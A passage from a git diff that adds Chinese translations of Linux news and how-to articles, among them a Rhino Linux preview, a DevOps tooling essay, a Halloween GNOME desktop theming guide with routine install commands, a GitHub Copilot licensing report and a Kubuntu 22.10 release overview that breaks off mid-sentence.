https://news.itsfoss.com/content/images/2022/10/Obsidian_1.0_User_Interface.png +[9]: https://news.itsfoss.com/content/images/2022/10/obisidian-1-ui.png +[10]: https://news.itsfoss.com/content/images/2022/10/Obsidian_1.0_Appearance_Settings.png +[11]: https://news.itsfoss.com/content/images/2022/10/Obsidian_1.0_Tabs.png +[12]: https://news.itsfoss.com/content/images/2022/10/Obsidian_1.0_Tab_Stacks.gif +[13]: https://forum.obsidian.md/t/obsidian-release-v1-0-0/44873 +[14]: https://obsidian.md/1.0 +[17]: https://obsidian.md/download +[18]: https://www.youtube-nocookie.com/embed/Ia2CaItxTEk diff --git a/published/202210/20221017.2 ⭐️ Ubuntu but rolling but also stable That's what Rhino Linux aims to be.md b/published/202210/20221017.2 ⭐️ Ubuntu but rolling but also stable That's what Rhino Linux aims to be.md new file mode 100644 index 0000000000..485a46b7e9 --- /dev/null +++ b/published/202210/20221017.2 ⭐️ Ubuntu but rolling but also stable That's what Rhino Linux aims to be.md @@ -0,0 +1,80 @@ +[#]: subject: "Ubuntu but rolling but also stable That's what Rhino Linux aims to be" +[#]: via: "https://news.itsfoss.com/rhino-linux/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15192-1.html" + +Rhino Linux:滚动发布但也很稳定的 Ubuntu +====== + +> 滚动发布的 Ubuntu 发行版?等等,什么? Rhino Linux 听起来不错…… + +![Ubuntu but rolling but also stable! That's what Rhino Linux aims to be][1] + +Rhino Linux 将成为 [Rolling Rhino Remix][2] 的继任者。这个由 http.llamaz 构建的 Linux 发行版,提供了滚动发布的**非官方的** Ubuntu 变体版本。 + +需要澄清的是,该项目从未旨在取代其他稳定的发行版,而纯粹是一个充满乐趣的激情项目。 + +而随着人们开始将其用作日常使用并对其期望更多,开发人员决定将其变成一个严肃的项目。 + +Rhino Linux 作为它的继任者。那么,你对它的期待是什么? + +### 有请继任者 Rhino Linux + +其主要目标是提供稳定的 Ubuntu 体验,同时仍提供滚动发布模式。 + +目标仍保持不变,但 Rhino Linux 的基础将得到彻底改变。他们有可能使它成为一个令人印象深刻的滚动发布的 Ubuntu 发行版。 + +**听起来很令人兴奋!🤯** + +在其核心,Rhino Linux 将使用稍微修改过的 [Xfce][3] 版本作为其桌面环境;之所以选择它是因为它众所周知的稳定性和速度。 + +Rhino Linux 的创始人提到了以下几点: + +> 滚动版 Ubuntu 仍然是我们的核心理念。Rhino Linux 并不是从 Rolling Rhino Remix 中分离出来的,而是将它重新设想为更稳定、更成熟的发行版,它原本就应该以这种方式出厂。 + +![xfce 4.14][4] + +除此之外,[Pacstall][5] 将用作 Rhino Linux 上的默认包管理器及其存储库之一。 + +> 💡 Pacstall 是一个受 [AUR][6] 启发的 Ubuntu 包管理器。 + +Pacstall 的开发由其创始人 [Plasma][7] 领导。他还作为新开发人员之一(副项目负责人)加入,而 [Sourajyoti Basak][8] 作为另一位核心成员加入。 + +### 前进:可用性和发布 + +在撰写本文时,Rhino Linux 尚未确定任何具体的发布日期,但你可以预计它会在 **2023** 年的某个时间发布。 + +Rolling Rhino Remix 会发生什么? + +开发者澄清说,它将在 Rhino Linux 发布后继续维护三个月。但是,在 2022 年 1 月 11 日后继发布之后,它没有新的发布镜像。 + +你可以通过访问其 [官方网站][9] 了解更多关于 Rhino Linux 的信息。 + +_💬 你觉得 Rhino Linux 怎么样?它可以成为值得尝试的官方 Ubuntu 风格的竞争者吗?_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/rhino-linux/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/rhino-linux.png +[2]: https://github.com/rollingrhinoremix +[3]: https://www.xfce.org/ +[4]: https://news.itsfoss.com/content/images/2022/10/XFCE_4.14.png +[5]: https://github.com/pacstall/pacstall +[6]: https://itsfoss.com/aur-arch-linux/ +[7]: https://github.com/Henryws +[8]: https://github.com/wizard-28 +[9]: https://rhinolinux.org/ diff --git a/published/202210/20221017.3 ⭐️⭐️⭐️ Open source DevOps tools in a platform future.md b/published/202210/20221017.3 ⭐️⭐️⭐️ Open source DevOps tools in a platform future.md new file mode 100644 index 0000000000..8af5dc99f0 --- /dev/null +++ b/published/202210/20221017.3 ⭐️⭐️⭐️ Open source DevOps tools in a platform future.md @@ -0,0 +1,111 @@ +[#]: subject: "Open source DevOps tools in a platform future" +[#]: via: "https://opensource.com/article/22/10/open-source-devops-tools" +[#]: author: "Will Kelly https://opensource.com/users/willkelly" +[#]: collector: "lkxed" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15170-1.html" + +开源 DevOps 工具的平台化未来 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/24/092748lwwoicus5e4s59gg.jpg) + +> 当商业 DevOps 工具市场着眼于平台时,是时候让开源 DevOps 工具重新定义它们的未来了。 + +DevOps 的开源根基是无法动摇的,即便有预言称全球的 DevOps 市场将在 2026 年之前达到 178 亿美元。不断变化的工作环境、安全和合规性问题,以及风险投资公司等等因素正在将市场推向 DevOps 平台,开发团队可以在云中获得完整的端到端 DevOps 工具链。 + +### 开源 DevOps 工具现状 + +我们要搞清楚一件事:开源工具不可能从 DevOps 世界中消失。现在,在开源和供应商提供的 DevOps 工具之间存在着一种平衡,开发人员会在两者间选择适合他们的工具。事实上,很多情况下,一个开发团队起初会为他们的 DevOps 流水线选择一个开源工具,后来又升级到商业版本。 + +### 三种开源 DevOps 工具实例 + +下面我们介绍一些开源 DevOps 工具的例子,每种工具都已经有了围绕其建立的商业化生态。 + +#### Git + +源代码管理工具 [Git][1] 作为源代码库,可能是 DevOps 工具链的主要基础之一。 + +Git 的两个最佳商业案例是 GitLab 和 GitHub。GitLab [接受开发者对其贡献开源项目][2]。GitHub 也在着手努力成为一个 DevOps 平台,推出了人工智能版的结对编程 GitHub Copilot,在推出后受到了一些开源团体的褒贬不一的评价。 + +#### Jenkins + +作为一个开源的自动化服务,Jenkins 因其易于安装、配置和可扩展性而受到推崇。 + +CloudBees 提供了 JenkinsX,JenkinsX 是一套开源的解决方案,可以为 Kubernetes 上的云原生应用提供自动化持续集成和持续交付(CI/CD)以及自动化测试工具。他们还为JenkinsX 提供商业支持,包括: + +- 访问 CloudBees 的专业技术技能 +- 24x7 技术支持 +- 访问 CloudBees 的文档和在线知识库 + +#### Kubernetes + +随着越来越多的组织寻求企业级的容器编排解决方案,[Kubernetes][3] 的发展成为必然。尽管有人批评其复杂性。 + +自然而然的,Kubernetes 周边有完整的、蓬勃发展的产业。根据 Allied 市场调研的数据,全球容器和 [Kubernetes 安全][4] 市场在 2020 年的估值为 7.14 亿美元,预计到 2030 年将达到 8.42 亿美元。 + +### 目前的 DevOps 工具链 + +各个行业仍有很多自建build-your-own(BYO)的 CI/CD 工具链在发挥作用。支持 DevOps 功能的开源项目仍在蓬勃发展。 + +BYO 工具链可以集成其他工具,而且非常具有扩展性,这对于持续迭代其 DevOps 实践的组织来说一直是一个优势。在出于业务、IT 和安全原因寻求标准化的企业中,缺乏标准的材料清单可能是个麻烦。 + +虽然 DevOps 平台的出现并没有被忽视,但许多组织早在大流行之前就将他们的 CI/CD 工具链迁移到了公有云。长期以来,工具链本身的安全性一直是一个不断上升的问题,而公有云基础设施提供了身份访问管理(IAM)和其他安全功能来控制访问。 + +### DevOps 平台是敌是友? + +DevOps 平台是一个端到端的解决方案,它将 CI/CD 工具链的所有功能放入云中。DevOps 平台的例子包括 GitLab 和 Harness。GitHub 也在采取行动,使自己成为一个 DevOps 平台。 + +#### 优势(即便只从企业买家角度考虑) + +DevOps 平台对那些已经适应了 SaaS 和云计算行业的基于消费和订阅的定价的企业买家很有吸引力。在这个远程和混合工作的世界里,对可维护性、安全、合规性和开发人员的生产力的担忧肯定是技术领导者的首要考虑。对这些人来说,在 DevOps 平台上实现标准化是很有吸引力的。 + +#### 劣势 + +在依赖供应商提供的 DevOps 工具链时,人们会想到对供应商锁定功能的古老担忧。开发团队构建和维护其工具链的可扩展性不会像他们从头开始制作工具链时那样,更不用说引入新的工具来改善他们的工作流程了。 + +DevOps 平台供应商也有潜在的经济方面的劣势。想一想,一个被高估的 DevOps 工具初创公司如果没有达到其投资者的高额财务目标,可能会发生什么。同样,也可能有一些较小的初创供应商得不到下一轮的资金,而慢慢消失。 + +虽然 DevOps 平台的出现在很多方面都是有意义的,但它确实违背了促成我们今天使用的 DevOps 工具的开源精神。 + +### DevOps 工具:一个拐点 + +随着工作模式的改变,人们对 DevOps 工具链的安全和合规性的关注必然会增加。 + +#### 正在变化的工作环境 + +我们的工作方式与企业其他部门一样影响着 DevOps 团队。远程和混合 DevOps 团队需要安全的工具链。整个流水线中不断变化的协作和报告要求,如异步工作和经理要求返回办公室等,也是日益增长的必要条件。 + +#### 软件供应链安全市场 + +在高调的攻击和美国联邦政府的回应之后,软件供应链安全市场引起了很多关注。目前还没有组织将软件供应链的攻击归咎于开源,但我们将看到 DevOps/DevSecOps 实践和工具的延伸,以对抗这种威胁。不过,当一切都结束时,DevOps/DevSecOps 的工具和实践将超过一些转向这一趋势的初创公司。 + +### 结语 + +对于 DevOps 领域的开源软件(OSS)项目来说,这还远远没有结束,但 DevOps 利益相关者有权开始询问未来的工具链。然而,OSS DevOps 项目确实需要考虑它们的未来,特别是考虑到日益增长的直接影响流水线的安全和合规性问题。 + +DevOps 平台供应商与开源工具的未来趋势是合作性竞争,即 DevOps 平台供应商向作为其平台基础的开源工具贡献时间、金钱和资源。一个有趣的例子就是 [OpsVerse][5],它用他们为客户管理的开源工具提供了一个 DevOps 平台。 + +然后,还有一个未来,随着更多的企业构建的工具链迁移到云端,开源 DevOps 工具项目将继续繁荣和创新。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/open-source-devops-tools + +作者:[Will Kelly][a] +选题:[lkxed][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/willkelly +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/4/our-favorite-git-commands +[2]: https://opensource.com/article/19/9/how-contribute-gitlab +[3]: https://opensource.com/resources/what-is-kubernetes +[4]: https://enterprisersproject.com/article/2019/1/kubernetes-security-4-tips-manage-risks?intcmp=7013a000002qLH8AAM +[5]: https://www.opsverse.io/ +[6]: https://www.redhat.com/architect/devsecops-culture?intcmp=7013a000002qLH8AAM diff --git a/published/202210/20221018.4 ⭐️⭐️ Give Your Linux Desktop a Halloween Makeover.md b/published/202210/20221018.4 ⭐️⭐️ Give Your Linux Desktop a Halloween Makeover.md new file mode 100644 index 0000000000..cd8a41894f --- /dev/null +++ b/published/202210/20221018.4 ⭐️⭐️ Give Your Linux Desktop a Halloween Makeover.md @@ -0,0 +1,285 @@ +[#]: subject: "Give Your Linux Desktop a Halloween Makeover" +[#]: via: "https://itsfoss.com/linux-halloween-makeover/" +[#]: author: "Sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15190-1.html" + +打造万圣节 Linux 桌面 +====== + +马上就到万圣节了,太棒啦! + +我相信你已经有了一些庆祝万圣节的想法。给你的 Linux 桌面做一个像幽灵般的黑暗改造,就类似于下面的屏幕截图,你觉得怎么样? + +![ubuntu halloween theming final looks][1] + +可定制是 Linux 的一大优势,对 Linux 可进行的定制是多种多样且没有尽头的。之前,我们向你展示过 [如何让你的 Linux 看起来像 macOS][2] 的方法。今天,我将继续分享一些定制“万圣节”Linux 桌面的技巧。 + +可以通过主题、图标、扩展、字体、Conky 等一系列配置组合起来,来实现 Linux 桌面的定制。_虽然,你可以在任何的 Linux 发行版和桌面环境中配置这些东西,但是仅在一个教程中展示所有 Linux 发行版和桌面环境的桌面定制方法,是不太可行的。_ + +因此,在本文中,我将介绍 Ubuntu 与 GNOME 桌面环境的桌面定制方法。 + +### 安装所需工具 + +你需要一些软件包和工具。在开始定制桌面前,请确保你安装了全部(或大多数)的软件包和工具。 + +_你不必做**所有**这些桌面改变。但你做的越多,你的桌面也会美化得更好看。_ + +#### 安装 GNOME 优化工具和 GMOME 扩展管理器 + +使用以下命令,来安装 GNOME 优化Tweaks 工具和 GMOME 扩展管理器Extensions manager: + +``` +sudo apt install gnome-tweaks gnome-extension-manager +``` + +在基于 KDE 的 Linux 系统中,没有可以更改 Linux 桌面外观的优化工具。但是,你可以使用 Kvantum-Manager 这一应用程序来更改外观,请参考我在 [KDE 主题指南][3] 中的讨论。 + +#### 安装 Conky(可选) + +你可以选择是否要安装 Conky ,因为现在 conky-manager 项目已经不再维护了,因此继续使用 Conky 可能会有点棘手。但无论如何,我们用它来增加万圣节外观的感觉。 + +``` +sudo apt install conky-all +``` + +#### 安装 Neofetch 或者 Shell-color 脚本 + +这个步骤也可以由你自主选择。你可以选择使用 [neofetch][4],因为 `neofetch` 工具已经在 Ubuntu 仓库中了,你可以直接通过 `apt install` 安装,并且 `neofetch` 使用起来也很简单。 + +``` +sudo apt install neofetch +``` + +[Shell-color 脚本][5] 是另一个不错的选择。在 Arch 用户仓库(AUR)中有该软件包,Arch Linux 用户可以从 AUR 安装 Shell-color 脚本。而在 Ubuntu 中,你则需要手动安装它。 + +``` +git clone https://gitlab.com/dwt1/shell-color-scripts.git +cd shell-color-scripts +sudo make install +``` + +#### 安装主题、图标、字体和壁纸工具 + +我正在使用的是 [Sweet][6] 主题工具、[Beautiline][7] 图标软件包、[simple1e][8] 光标工具和 [Grey-Minimalistic][9] Conky 主题,下载好这些工具后,再解压包。你还要下载 [Creepster][10] 字体。 + +最后,从互联网上下载一张 [万圣节幽灵氛围的壁纸][11]。 + +> 请注意!你即将要进行大量的定制和更改。要恢复到原来普通的外观,你可以通过撤销你所做的所有更改。一个更简单的方法是:创建一个管理员权限的新用户,并使用该新用户进行所有这些更改。这样,你的原始用户帐户和外观就不会受到影响。在万圣节结束后,你可以删除这个新增的用户。 + +现在,你有了所有定制桌面的工具和资源,是时候使用它们了! + +### 安装并使用扩展 + +打开 GMOME 扩展管理器Extensions manager。在 Ubuntu 22.04 中,你可以在浏览Browse菜单下安装扩展。 + +![install gnome shell extensions user themes blur my shell and dash to dock][12] + +在其他版本的 Ubuntu 和其他带有 GNOME 的发行版上,你可以通过浏览器 [安装 shell 扩展][13],来安装扩展。为了实现打造万圣节桌面的目的,请安装以下扩展程序: + +- [User Themes][14] +- [Dash to Dock][15] +- [Blur my Shell][16] + +此外,请确保所有的扩展都已启用。 + +### 配置主题、图标和字体 + +你需要将解压的主题文件夹复制,并粘贴到 `~/.themes` 目录下,将解压的图标和光标文件夹复制,并粘贴到 `~/.icons` 目录下。 + +接下来,打开 GNOME 优化Tweaks 工具,并应用主题、图标和字体等设置,如下的截图所示。 + +![set themes with gnome tweaks][17] + +要 [在 Ubuntu 中使用自定义字体][18],请右键单击你下载和解压的字体文件,然后选择使用字体管理器Font manager打开。我打算使用的是 [Creepster][10] 字体。 + +![right click on font file and select open with fonts][19] + +然后,点击右上角的安装Install按钮。 + +![install font using font manager application][20] + +请注意:在某些系统中,点击安装按钮不会显示“已安装installed”的提示。在这种情况下,你只需关闭界面就行了,因为一旦你点击了安装按钮,该字体就已经安装上了。 + +再重新打开 GNOME 优化Tweaks 工具,然后前往字体Fonts边栏,在这里,你可以更改各个文件类型的字体,如下图所示。 + +![change system fonts using gnome tweaks][21] + +请注意,对于终端,需要等宽字体。在这里,我使用了普通字体,这里可能会让你稍稍有点迷失。 + +### 应用 Dash to Dock 扩展设置 + +首先,你要使用 GNOME 扩展应用程序,来**关闭 Ubuntu Dock 扩展**。 + +![Disable Ubuntu Dock][22] + +如果 Dash to Dock 扩展还尚未运行的话,请先运行它。 + +然后,右键单击在底部显示的 “Dash to Dock” 按钮,然后选择 “Dash to Dock Settings”。 + +![select dash to dock settings][23] + +在设置中,你需要调整一些小东西。 + +首先,使用滑块,来缩小图标的大小。 + +![setting dash to dock icon size][24] + +之后,你需要减少程序坞的不透明度,我更喜欢完全透明的程序坞。 + +所以,我将不透明度设置为 固定fixed,并使用滑块将其降至零,如下图所示。 + +![opacity setting for dash to dock][25] + +### GNOME 终端的设置 + +你想得到的 Linux 桌面的主要变化是自定义**模糊且有一定透明度**的 `neofetch` 外观(或 shell-color 脚本外观)。 + +我们之前在 GNOME 优化Tweaks 工具中应用了等宽字体,因此 GNOME 终端中的字体也会被更改。 + +首先,从 偏好设置preferences 中创建一个新的配置文件。 + +![select preferences from hamburger menu][26] + +单击 `+` ,来创建一个新配置文件。输入文件的名称,并点击 创建create,如下所示: + +![create new profile in gnome terminal][27] + +在这个新配置文件中,更改透明度设置,将透明度的滑块放在中间,如下图所示: + +![set transperancy to gnome terminal][28] + +完成后,要将此配置文件设置为默认的配置文件,单击与新配置文件关联的三角形按钮,然后选择 “设置为默认Set as Default”。 + +![set new profile as default in gnome terminal][29] + +#### 设置模糊效果 + +上述的步骤只会将终端变成一个透明的 shell。但是,如果你还需要有利于提高可见性的模糊效果,你需要进入到 “Blur my Shell” 扩展进行设置。 + +![blur my shell extension settings][30] + +首先,进入到 应用程序Application 菜单。现在,确保终端已打开,并置于屏幕明显的位置。单击 添加Add 窗口,然后选择 GNOME 终端窗口,以设置模糊效果。请注意:此功能还处于测试阶段,因此可能会出现一些小故障。 + +![applying blur effect to selected windows][31] + +也可以对其他应用程序(例如 Nautilus 文件管理器)重复此过程,来设置模糊效果。 + +#### 定制 Neofetch + +Neofetch 的最佳功能之一是其可定制性。你可以使用多种方法来调整 Neofetch 的外观。为了更有万圣节氛围,我选择了一个南瓜图像,来代替发行版的徽标。 + +Neofetch 提供以各种格式添加自定义图像的功能。为此,也有各种供支持的后端。在这里,我使用 jp2a 后端,它将使用 [转换成 ASCII 的图片][32]。 + +``` +neofetch --jp2a /path/to/your/image/file.png +``` + +![neofetch with custom backend][33] + +上述命令将创建一个带有自定义图片的 Neofetch 实例。你可以将此命令写入你的 `.bashrc` 文件,以便永久放置该图片。 + +_不幸的是,这在我的 Wayland 实例上并不起作用。_ + +#### 自定义 Shell-Color 脚本 + +如果你安装的是 Shell Color 脚本工具,则会有多种 shell 脚本。要列出可用的脚本,请使用命令: + +``` +colorscript -l +``` + +![ghosts shell color script][34] + +你可以通过将 `colorscript random` 写入你的 `.bashrc` 文件,以每次都获得一个随机的颜色脚本,或者通过将`colorscript -e `写入你的 `.bashrc` 文件,来得到一个特定的颜色脚本。 + +### 设置 Conky + +我使用的是 Deviantart 的 [Grey-Minimalistic][9] conky 主题。Conky 主题的每种类型都有不同的安装方法。因此,如果你想要使用另一个 Conky 文件的话,请遵循它的 `README` 文件中描述的设置方法,进行设置。 + +解压 Conky 主题文件,里面有几个文件夹。首先,你需要安装关联的图标和字体,也就是说,使用 字体管理器font-manager 安装给定的字体。接着,将图标文件夹拷贝,并粘贴到 `~/.icons` 文件夹。 + +![copy and paste conky files to home directory][35] + +然后,进入 Conky 文件夹。确保你已 [启用查看隐藏文件][36],将 `.conkyrc` 文件和 `.conky-vision-icons` 文件复制到你的主目录,如上图所示。 + +现在,启动 Conky,看起来就变成下图这样了。 + +![conky theme applied][37] + +将 Conky 添加到 [自启动应用程序列表][38] 中,以便在每次开机时都能自启动。 + +![add conky to the list of startup applications][39] + +### 更改壁纸 + +快要完成啦。你现在唯一需要做的就是 [更改背景壁纸][40]。我相信你之前已经下载好了有万圣节幽灵气氛的壁纸,右键 “设置为壁纸Set as Wallpaper” 就好啦。 + +![set image as wallpaper from nautilus][41] + +### 看看最终成果吧! + +如果你遵循上面的大多数步骤的话,你就会得到一个与以下截图相似的桌面。 + +![ubuntu halloween theme final look][42] + +这个桌面对于万圣节来说够吓人了吗?你觉得怎么样?在评论区中告诉我吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/linux-halloween-makeover/ + +作者:[Sreenath][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/10/ubuntu-halloween-theming-final-looks.jpg +[2]: https://itsfoss.com/make-ubuntu-look-like-macos/ +[3]: https://itsfoss.com/properly-theme-kde-plasma/ +[4]: https://itsfoss.com/using-neofetch/ +[5]: https://gitlab.com/dwt1/shell-color-scripts +[6]: https://www.gnome-look.org/p/1253385 +[7]: https://www.gnome-look.org/p/1425426 +[8]: https://www.gnome-look.org/p/1405210 +[9]: https://www.deviantart.com/bryantlloyd/art/Grey-Minimalistic-634726564 +[10]: https://fonts.google.com/specimen/Creepster?query=creepster +[11]: https://www.wallpaperflare.com/search?wallpaper=spooky +[12]: https://itsfoss.com/wp-content/uploads/2022/10/install-gnome-shell-extensions-user-themes-blur-my-shell-and-dash-to-dock.png +[13]: https://itsfoss.com/gnome-shell-extensions/ +[14]: https://extensions.gnome.org/extension/19/user-themes/ +[15]: https://extensions.gnome.org/extension/307/dash-to-dock/ +[16]: https://extensions.gnome.org/extension/3193/blur-my-shell/ +[17]: https://itsfoss.com/wp-content/uploads/2022/10/set-themes-with-gnome-tweaks.png +[18]: https://itsfoss.com/install-fonts-ubuntu/ +[19]: https://itsfoss.com/wp-content/uploads/2022/10/right-click-on-font-file-and-select-open-with-fonts.png +[20]: https://itsfoss.com/wp-content/uploads/2022/10/install-font-using-font-manager-application.png +[21]: https://itsfoss.com/wp-content/uploads/2022/10/change-system-fonts-using-gnome-tweaks.png +[22]: https://itsfoss.com/wp-content/uploads/2020/06/disable-ubuntu-dock.png +[23]: https://itsfoss.com/wp-content/uploads/2022/10/select-dash-to-dock-settings.png +[24]: https://itsfoss.com/wp-content/uploads/2022/10/setting-dash-to-dock-icon-size.png +[25]: https://itsfoss.com/wp-content/uploads/2022/10/opacity-setting-for-dash-to-dock.png +[26]: https://itsfoss.com/wp-content/uploads/2022/10/select-preferences-from-hamburger-menu.png +[27]: https://itsfoss.com/wp-content/uploads/2022/10/create-new-profile-in-gnome-terminal.png +[28]: https://itsfoss.com/wp-content/uploads/2022/10/set-transperancy-to-gnome-terminal.png +[29]: https://itsfoss.com/wp-content/uploads/2022/10/set-new-profile-as-default-in-gnome-terminal.png +[30]: https://itsfoss.com/wp-content/uploads/2022/10/blur-my-shell-extension-settings.png +[31]: https://itsfoss.com/wp-content/uploads/2022/10/applying-blur-effect-to-selected-windows.png +[32]: https://itsfoss.com/ascii-image-converter/ +[33]: https://itsfoss.com/wp-content/uploads/2022/10/neofetch-with-custom-backend.png +[34]: https://itsfoss.com/wp-content/uploads/2022/10/ghosts-shell-color-script.png +[35]: https://itsfoss.com/wp-content/uploads/2022/10/copy-and-paste-conky-files-to-home-directory.png +[36]: https://itsfoss.com/hide-folders-and-show-hidden-files-in-ubuntu-beginner-trick/ +[37]: https://itsfoss.com/wp-content/uploads/2022/10/conky-theme-applied.png +[38]: https://itsfoss.com/manage-startup-applications-ubuntu/ +[39]: https://itsfoss.com/wp-content/uploads/2022/10/add-conky-to-the-list-of-startup-applications.png +[40]: https://itsfoss.com/change-wallpaper-ubuntu/ +[41]: https://itsfoss.com/wp-content/uploads/2022/10/set-image-as-wallpaper-from-nautilus.png +[42]: https://itsfoss.com/wp-content/uploads/2022/10/ubuntu-halloween-theme-final-look.jpg diff --git a/published/202210/20221019.0 ⭐️ GitHub Copilot Appears To Be In Violation Of The Open Source Licence.md b/published/202210/20221019.0 ⭐️ GitHub Copilot Appears To Be In Violation Of The Open Source Licence.md new file mode 100644 index 0000000000..47d73780b2 --- /dev/null +++ b/published/202210/20221019.0 ⭐️ GitHub Copilot Appears To Be In Violation Of The Open Source Licence.md @@ -0,0 +1,38 @@ +[#]: subject: "GitHub Copilot Appears To Be In Violation Of The Open Source Licence" +[#]: via: "https://www.opensourceforu.com/2022/10/github-copilot-appears-to-be-in-violation-of-the-open-source-licence/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15167-1.html" + +GitHub Copilot 似乎违反了开源许可证的规定 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/23/100112lms67c7e8mow8sv6.jpg) + +> 自 Copilot 首次亮相以来,Butterick 就对该计划提出了批评。 + +微软在 2018 年支付 75 亿美元收购了 GitHub,此后将这个代码仓库整合到其开发者工具中,同时在很大程度上采取了放手的态度。Matthew Butterick 是一名作家、律师,也是一名程序员,他认为微软基于机器学习的代码助手 GitHub Copilot 存在一些问题,它似乎不正确地对待开源代码许可证。 + +GitHub Copilot 是 Visual Studio 和其他 IDE 的一个插件,通过在你输入时提供代码完成的 “建议” 来运作。Codex 是该系统的动力源。然而,Butterick 等开发者认为 AI 在如何学习方面存在问题,或者更具体地说,AI 是从哪里训练的。 + +这里的问题是,GitHub 所训练的公开代码仓库是有许可证的,当他们的工作被利用时,需要按照许可证进行。虽然微软对其使用代码的问题一直避而不谈,称其为合理使用,但 Copilot 除了提供建议外,还能生成逐字逐句的代码部分。 + +根据 Codex(由微软授权)的开发者 OpenAI的说法,“Codex 是在数以千万计的公开代码仓库中训练出来的,包括 GitHub 上的代码。”微软自己也含糊地将训练材料描述为数十亿行的公共代码。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/10/github-copilot-appears-to-be-in-violation-of-the-open-source-licence/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/10/github-logo-2-1-696x348.png diff --git a/published/202210/20221020.1 ⭐️ Kubuntu 22.10 is Now Available!.md b/published/202210/20221020.1 ⭐️ Kubuntu 22.10 is Now Available!.md new file mode 100644 index 0000000000..0602812029 --- /dev/null +++ b/published/202210/20221020.1 ⭐️ Kubuntu 22.10 is Now Available!.md @@ -0,0 +1,120 @@ +[#]: subject: "Kubuntu 22.10 is Now Available!" +[#]: via: "https://news.itsfoss.com/kubuntu-22-10-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15173-1.html" + +Kubuntu 22.10 的新变化 +====== + +> Kubuntu 22.10 可能不是最令人兴奋的升级。但是,它包括了一些有用的变化。 + +![Kubuntu 22.10 现已发布][1] + +Kubuntu 是 Ubuntu 的一个官方版本,它在一个精致的 KDE 驱动的软件包中提供了很多功能。 + +Kubuntu 22.10 的发布带来了各种改进和一个 [KDE Plasma][2] 的更新版本。 + +让我们来看看这个版本的亮点。 + +### Kubuntu 22.10 有什么新变化? + +![Kubuntu 22.10 桌面][3] + +Kubuntu 22.10 带来了很多更新,其中一些重要的更新包括: + +- KDE Plasma 5.25 +- Linux 内核 5.19 +- PipeWire +- Firefox 104 +- Qt 5.15.6 + +> 💡 Kubuntu 22.10 将被支持九个月,直到 **2023 年 7 月**。如果你想要稳定而不是功能,你应该更喜欢使用 [LTS 版本][4]。 + +#### KDE Plasma 5.25 + +![Kubuntu 22.10 KDE 版本][5] + +尽管最近 [KDE Plasma 5.26][6] 已经发布了,但 Kubuntu 22.10 还是搭载了 KDE Plasma 5.25。 + +然而,KDE Plasma 5.25 与 5.24 相比仍然是一个重大的更新,它包含了很多改进,例如,加强了对触摸板/触摸屏的支持,升级了用户界面等等。 + +你可以阅读我们对 KDE Plasma 5.25 的报道来了解更多。 + +> **[KDE Plasma 5.25:颜色、主题和其他改进][15]** + +另外,你可以期待 KDE Plasma 5.26 作为一个小版本发布,而不是作为 Kubuntu 22.10 发布的一部分。 + +#### 默认采用 PipeWire + +像大多数基于 Ubuntu 22.10 的发行版一样,[PipeWire][7] 是这个版本的 Kubuntu 的默认音频/视频处理器。 + +它取代了 [PulseAudio][8],众所周知,它与 Ubuntu 22.10 不兼容。 + +#### Linux 内核 5.19 + +![Kubuntu 22.10 Linux 内核 5.19][9] + +Kubuntu 22.10 采用了最新的 Linux 内核 5.19,这应该会带来对 ARM SoC 和 Arc Alchemist GPU 的支持、Btrfs 的各种改进、对 AMD RDNA3 图形的初步支持等等。 + +#### 测试用的 Wayland 会话 + +![Kubuntu 22.10 Wayland 会话切换器][10] + +Kubuntu 22.10 具有对 Plasma Wayland 会话的初步支持,但它仅用于测试目的,并不是一个完整的集成。 + +![Kubuntu 22.10 Wayland 会话信息][11] + +#### 其他升级 + +其他一些更新包括: + +- 自定义桌面重点颜色 +- 默认浏览器是 Firefox 104 Snap +- Qt 5.15.6 +- LibreOffice 7.4 +- 改进的应用程序商店 + +要探索更多关于该版本的信息,请参考 